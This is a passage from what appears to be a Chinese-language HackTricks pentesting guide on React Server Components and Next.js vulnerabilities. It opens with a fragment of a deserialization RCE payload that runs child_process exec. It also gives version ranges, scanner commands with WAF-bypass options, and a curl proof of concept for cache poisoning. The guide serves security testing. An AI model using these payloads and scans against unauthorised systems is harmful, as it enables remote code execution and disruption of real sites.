"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
映射 React Server Function 的暴露
React Server Functions (RSF) 是任何包含 ‘use server’; 指令的函数。每个绑定到这些函数之一的 form action、mutation 或 fetch helper 都会成为 RSC Flight endpoint,它会轻易地反序列化 attacker-supplied payloads。来自 React2Shell 评估的有用侦察步骤:
- Static inventory: 查找该指令以了解框架自动暴露了多少个 RSFs。
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router 默认:
create-next-app默认启用 App Router +app/目录,这会在不显眼的情况下将每个路由变成可 RSC 的 endpoint。App Router 的资产(例如/_next/static/chunks/app/)或通过text/x-component流式传输 Flight chunk 的响应,都是明显的面向互联网的指纹。 - 隐式易受攻击的 RSC 部署: React 的官方通告指出,部署了 RSC runtime 的应用即使没有显式 RSFs 也可能被利用, 因此任何使用
react-server-dom-*19.0.0–19.2.0 的构建都应视为可疑。 - 其他打包 RSC 的框架: Vite RSC、Parcel RSC、React Router RSC preview、RedwoodSDK、Waku 等重用相同的 serializer,并继承相同的远程攻击面,直到它们嵌入了已修补的 React 版本。
版本覆盖 (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack:在 19.0.0、19.1.0–19.1.1 和 19.2.0 中为 vulnerable;在 19.0.1、19.1.2 和 19.2.1 中分别 patched。- Next.js stable: App Router 发布版本 15.0.0–16.0.6 嵌入了易受攻击的 RSC 栈。补丁分支 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 包含已修复的依赖,因此任何低于这些版本的构建都是高价值目标。
- Next.js canary:
14.3.0-canary.77+也携带有缺陷的 runtime,且目前缺乏修补的 canary 版本,使这些指纹成为强烈的利用候选对象。
远程检测 oracle
Assetnote’s react2shell-scanner 向候选路径发送精心构造的 multipart Flight 请求并观察服务器端行为:
- Default mode 执行确定性的 RCE payload(通过
X-Action-Redirect反射的数学运算)以证明代码执行。 --safe-checkmode 故意损坏 Flight 消息,使已修补的服务器返回200/400,而易受攻击的目标会发出包含E{"digest"子串的HTTP/500响应体。该(500 + digest)配对目前是防御方发布的最可靠远程 oracle。- 内置的
--waf-bypass、--vercel-waf-bypass和--windows开关会调整 payload 布局、前置垃圾数据或替换操作系统命令,以便你可以探测真实的互联网资产。
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
其他近期 App Router 问题(2025 年晚期)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – 畸形的 Flight 负载可以使 RSC resolver 进入无限循环(pre-auth DoS),或强制将已编译的 Server Function 代码序列化以执行其他操作。App Router builds ≥13.3 受影响,需打补丁;15.0.x–16.0.x 需要上游 advisory 中的特定补丁行。重用正常的 Server Action 路径,但用包含滥用
$引用的text/x-componentbody 进行流式传输。在 CDN 后面,被挂起的连接会因缓存超时而保持打开,使得 DoS 成本很低。
- Triage tip: 未打补丁的目标在收到畸形的 Flight 负载后会返回
500并带有E{"digest";已打补丁的构建会返回400/200。测试任何已流式传输 Flight 块的端点(查找Next-Actionheaders 或text/x-component响应),并用修改后的 payload 重放。
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – 缺少
Vary导致Accept: text/x-component的响应被缓存并返回给期望 HTML 的浏览器。一次 priming 请求就能将页面替换为原始 RSC payload。PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.
References
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


